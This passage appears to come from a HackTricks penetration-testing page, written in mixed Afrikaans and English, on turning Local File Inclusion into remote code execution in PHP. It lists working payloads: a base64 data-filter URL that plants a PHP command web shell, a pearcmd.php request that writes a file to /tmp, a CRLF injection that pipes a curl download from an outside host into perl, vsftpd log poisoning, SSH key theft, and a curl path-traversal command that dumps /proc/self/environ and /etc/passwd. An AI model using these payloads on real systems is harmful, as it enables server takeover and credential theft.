Indien ssh aktief is, kyk watter gebruiker gebruik word (/proc/self/status & /etc/passwd) en probeer toegang kry tot <HOME>/.ssh/id_rsa

Deur vsftpd logs

Die logs vir die FTP-server vsftpd is geleë by /var/log/vsftpd.log. In die scenario waar ’n Local File Inclusion (LFI) vulnerability bestaan, en toegang tot ’n blootgestelde vsftpd server moontlik is, kan die volgende stappe oorweeg word:

  1. Inject ’n PHP payload in die username field tydens die login proses.
  2. Na die injectie, gebruik die LFI om die server logs van /var/log/vsftpd.log op te haal.

Deur php base64 filter (using base64)

Soos getoon in this artikel, PHP base64 filter ignoreer net Non-base64. Jy kan dit gebruik om die file extension check te omseil: as jy base64 voorsien wat eindig met “.php”, sal dit net die “.” ignore en “php” aan die base64 koppel. Hier is ’n voorbeeld payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (geen lêer nodig)

This writeup verduidelik dat jy php filters kan gebruik om arbitrêre inhoud as uitvoer te genereer. Dit beteken basies dat jy arbitrêre php code vir die include kan genereer sonder om dit in ’n lêer te skryf.

LFI2RCE via PHP Filters

Via segmentation fault

Upload ’n file wat as temporary in /tmp gestoor sal word, dan in dieselfde request ’n segmentation fault veroorsaak; die temporary file sal dan nie verwyder word nie en jy kan daarna soek.

LFI2RCE via Segmentation Fault

Via Nginx temp file storage

As jy ’n Local File Inclusion gevind het en Nginx voor PHP loop, kan jy moontlik RCE kry met die volgende tegniek:

LFI2RCE via Nginx temp files

Via PHP_SESSION_UPLOAD_PROGRESS

As jy ’n Local File Inclusion kry selfs al het jy nie ’n session nie en session.auto_start is Off. As jy die PHP_SESSION_UPLOAD_PROGRESS in multipart POST data verskaf, sal PHP die session vir jou aktiveer. Jy kan dit misbruik om RCE te kry:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Via temp file uploads in Windows

As jy ’n Local File Inclusion gevind het en die bediener op Windows hardloop, kan jy moontlik RCE kry:

LFI2RCE Via temp file uploads

Via pearcmd.php + URL args

As explained in this post, die skrip /usr/local/lib/phppearcmd.php bestaan standaard in php docker images. Verder is dit moontlik om argumente aan die skrip via die URL te gee omdat dit aangedui word dat as ’n URL param nie ’n = het nie, dit as ’n argument gebruik moet word. Sien ook watchTowr’s write-up en Orange Tsai’s “Confusion Attacks”.

Die volgende request skep ’n lêer in /tmp/hello.php met die inhoud <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Die volgende maak misbruik van ’n CRLF vuln om RCE te kry (van here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Deur phpinfo() (file_uploads = on)

As jy ’n Local File Inclusion gevind het en ’n lêer wat phpinfo() openbaar met file_uploads = on, kan jy RCE kry:

LFI2RCE via phpinfo()

Deur compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

As jy ’n Local File Inclusion gevind het en jy die pad van die tydelike lêer can exfiltrate kan uitkry, MAAR die server checks of die file to be included has PHP marks, kan jy probeer om daardie kontrole te bypass met hierdie Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Deur eternal waiting + bruteforce

As jy die LFI kan misbruik om upload temporary files en die server die PHP-uitvoering laat hang, kan jy daarna ure lank brute force filenames during hours om die tydelike lêer te vind:

LFI2RCE via Eternal waiting

Na Fatal Error

As jy enige van die lêers /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar insluit. (Jy moet dieselfde een 2 keer insluit om daardie fout te veroorsaak).

Ek weet nie hoe dit nuttig is nie, maar dit kan wees.
Selfs al veroorsaak jy ’n PHP Fatal Error, word PHP temporary files wat geupload is, verwyder.

Behou traversal sequences vanaf die client

Sommige HTTP clients normaliseer of collapse ../ voordat die versoek die server bereik, wat directory traversal payloads breek. Gebruik curl --path-as-is om traversal onaangeraak te hou wanneer jy log/download endpoints misbruik wat ’n user-controlled filename aanmekaar koppel, en voeg --ignore-content-length by vir pseudo-files soos /proc:

curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'

Stel die aantal ../ segmente af totdat jy die beoogde gids verlaat, en dump dan /etc/passwd, /proc/self/cwd/app.py, of ander bron-/konfigurasielêers.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks